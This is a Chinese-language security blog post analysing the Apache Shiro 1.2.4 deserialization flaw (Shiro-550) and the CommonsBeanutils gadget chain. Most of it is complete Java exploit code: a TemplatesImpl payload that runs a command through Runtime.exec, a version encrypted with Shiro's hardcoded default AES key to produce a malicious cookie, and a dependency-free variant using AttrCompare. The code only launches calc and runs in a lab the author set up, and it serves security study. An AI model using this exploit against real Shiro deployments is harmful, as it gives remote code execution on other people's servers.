首页 > 其他分享 >Shiro反序列化分析

Shiro反序列化分析

时间:2024-03-24 16:13:23浏览次数:25  
标签:分析 obj org new apache import 序列化 public Shiro

前言

Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带Commoncollections的,除此之外还带了一个包叫做CommonBeanUtils,主要利用类就在这个包里

环境搭建

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>

之后tomat搭起来就行了,选择sample-web.war

CB链分析

先回顾一下CC4

* Gadget chain:
 *      ObjectInputStream.readObject()
 *          PriorityQueue.readObject()
 *              PriorityQueue.heapify()
 *                  PriorityQueue.siftDown()
 *                 PriorityQueue.siftDownUsingComparator()
 *                     TransformingComparator.compare()
 *                         InvokerTransformer.transform()
 *                             Method.invoke()
 *                                 TemplatesImpl.newTransformer()
 *                                     TemplatesImpl.getTransletInstance()
 *                                         Runtime.exec()

CB链跟CC4的不同点就是从compare开始的,正好可以从CommonBeanUtils包里找到BeanComparator这个类

主要看PropertyUtils.getProperty这个方法可以任意类的get方法调用,可以调用任意bean(class)的一个get方法去获取nameproperty属性
写个demo测试一下

package org.example;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class User {
    private String name;
    private int age;
    public User(String name, int age){
        this.name = name;
        this.age = age;
    }

    public String getName() {
        System.out.println("Hello, getname");
        return name;
    }
    public int getAge() {
        System.out.println("Hello, getage");
        return age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setAge(int age) {
        this.age = age;
    }

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        PropertyUtils.getProperty(new User("F12", 18), "name");
        PropertyUtils.getProperty(new User("F12", 18), "age");
    }
}

// 输出
Hello, getname
Hello, getage

这样就可以利用TemplatesImpl中的getOutputProperties方法,这里面可以触发任意类的实例化,从而执行命令,注意这个类须继承AbstractTranslet类,或则改掉父类的默认值,如果忘了请回顾CC3
依赖:

<dependencies>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.8.3</version>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.2.4</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.27.0-GA</version>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>commons-logging</groupId>
            <artifactId>commons-logging</artifactId>
            <version>1.1.1</version>
        </dependency>
</dependencies>
package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fis = new FileOutputStream("cb.bin");
        ObjectOutputStream ois = new ObjectOutputStream(fis);
        ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
        setFieldValue(obj, "_name", "F12");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
        serialize(priorityQueue);
        deserialize("cb.bin");
    }
}

追踪一下链的过程,在PriorityQueue的readObject打个断点,开追,进入heapify
进入siftDown

进入siftDownUsingComparator

进入compare,到达关键点,获取TemplatesImpl的outputProperites属性

调用TemplatesImpl.getOutputProperites

进入newTransformer

进入getTransletInstance,到达世界最高城defineTransletClasses

后面就不看了,就是defineClass,至此CB链结束,还挺简单的

Shiro550分析

环境上面已经搭建好了,这里不说了
Shiro550用的其实就是CB链,这里只是有一些细节需要注意,Shiro的触发点是Cookie处解码时会进行反序列化,他生成的反序列化字符串是进行AES对称加密的,因此要在对数据进行一次AES加密,反序列化漏洞的利用就建立在知晓key的情况下,而shiro最初时,key是直接硬编码写在源码里的,全局搜serialize

可以看到这个DEFAULT_CIPHER_KEY_BYTES,amazing

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fis = new FileOutputStream("cb.bin");
        ObjectOutputStream ois = new ObjectOutputStream(fis);
        ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
        setFieldValue(obj, "_name", "F12");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
        serialize(priorityQueue);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(bytes, key);
        System.out.println(encrypt.toString());
    }
}

但是直接报错了,报的是cc中的ComparableComparator的那个错,虽然shiro中内置了CommonCollection的一部分,但是并不是所有,而org.apache.commons.collections.comparators.ComparableComparator这个类就在CC包里面,且在shiro中没有,所以寄

无依赖Shiro550 Attack

关键点在于compare方法,如果不指定comparator的话,会默认为cc中的ComparableComparator

因此我们需要指定一个Comparator

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

可以找到AttrCompare

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.map.CaseInsensitiveMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import sun.misc.ASCIICaseInsensitiveComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fis = new FileOutputStream("cb.bin");
        ObjectOutputStream ois = new ObjectOutputStream(fis);
        ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
        setFieldValue(obj, "_name", "F12");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(beanComparator, "comparator", new AttrCompare());
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
        serialize(priorityQueue);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(bytes, key);
        System.out.println(encrypt.toString());
    }
}

成功Attack

标签:分析,obj,org,new,apache,import,序列化,public,Shiro
From: https://www.cnblogs.com/F12-blog/p/18092541

相关文章

  • 【阻抗建模、验证扫频法】光伏并网逆变器扫频与稳定性分析(包含锁相环电流环)(Simulink
    ......
  • 不可不知的数据分析演进史:重塑世界的里程碑与先驱者
    今天我们来介绍一下数据分析是如何演进而来的,在历史的进程中是如何演变成现代大数据智能时代的。为致敬数据分析的历史伟人,这张图也是通过数据分析代码生成,有兴趣的可以关注公众号数据分析螺丝钉获取全文6600字,阅读时间5分钟数据分析演进的关键节点与人物背景在这......
  • python每日可视化分析:从过去到现代数据分析的演进
    分析目标本文旨在探索数据分析发展历程中的关键时刻,包括重要人物的贡献和大事件的发生。通过对比不同年代的数据分析技术和方法,我们可以更好地理解数据分析如何成为今天决策制定不可或缺的一部分。分析步骤收集数据:搜集关于数据分析历史上重要人物和事件的信息。数据与可......
  • R语言实现多要素偏相关分析
    偏相关分析是指当两个变量同时与第三个变量相关时,将第三个变量的影响剔除,只分析另外两个变量之间相关程度的过程,判定指标是相关系数的R值。在GIS中,偏相关分析也十分常见,我们经常需要分析某一个指数与相关环境参数的相关程度,例如NDVI与气温,降水,地形之间的相关系数。这与我们日......
  • 数据分析和机器学习库Pandas的使用
    Pandas库是一个免费、开源的第三方Python库,是Python数据分析和机器学习的工具之一。Pandas提供了两种数据结构,分别是Series(一维数组结构)与DataFrame(二维数组结构),极大地增强的了Pandas的数据分析能力。importpandasaspdimportnumpyasnpSeriesSeries是一......
  • Nvidia的Metropolis平台 —— AI监控解决方案和视频分析技术
    相关:https://baijiahao.baidu.com/s?id=1566933142821989&wfr=spider&for=pcNvidia的Metropolis平台是NVIDIA的主打的AI技术之一,看着新颖其实历史蛮久了。个人对这个产品的的定义就是监控视频自动报警系统。我们可以使用这个平台训练模型用来识别行人是否闯马路,是否有人......
  • 数据分析-Pandas分类数据的类别处理
    数据分析-Pandas分类数据的类别处理数据分析和处理中,难免会遇到各种数据,那么数据呈现怎样的规律呢?不管金融数据,风控数据,营销数据等等,莫不如此。如何通过图示展示数据的规律?数据表,时间序列数据在数据分析建模中很常见,例如天气预报,空气状态监测,股票交易等金融场景。数据分析......
  • HasMap底层分析
    一、散列表结构HashMap的存储结构为数组+链表+红黑树同时它的数组的默认初始容量是16、扩容因子为0.75,每次采用2倍的扩容。也就是说,每当我们数组中的存储容量达到75%的时候,就需要对数组容量进行2倍的扩容。初始容量和负载因子也可以通过构造方法指定: publicHashM......
  • 【数据分析实战】物流行业数据分析
    数据来源:某企业销售的6种商品对应的送货及用户反馈数据解决问题:配送服务质量是否存在问题是否存在尚有潜力的销售区域商品是否存在质量问题分析过程:数据清洗①重复值、缺失值、格式调整②异常值处理(比如:消费金额存在等于0的情况,属于异常等)数据规整比如:增加一列辅......
  • 【数据分析实战】餐厅订单数据分析
    今天我们来分析以下某餐厅8月份订单数据,该餐厅的订单数据前10天、中间10天、后10天分别放在不同的Sheet里。订单数据字段包括:detail_id、order_id、dishes_id、logicprn_name、parent_class_name、dishes_name、itemis_add、counts、amounts、cost、piece_order_time、emp_......